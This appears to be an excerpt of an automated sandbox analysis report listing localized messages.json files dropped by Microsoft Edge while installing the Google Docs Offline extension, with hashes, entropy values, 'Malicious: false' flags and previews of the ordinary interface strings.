Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
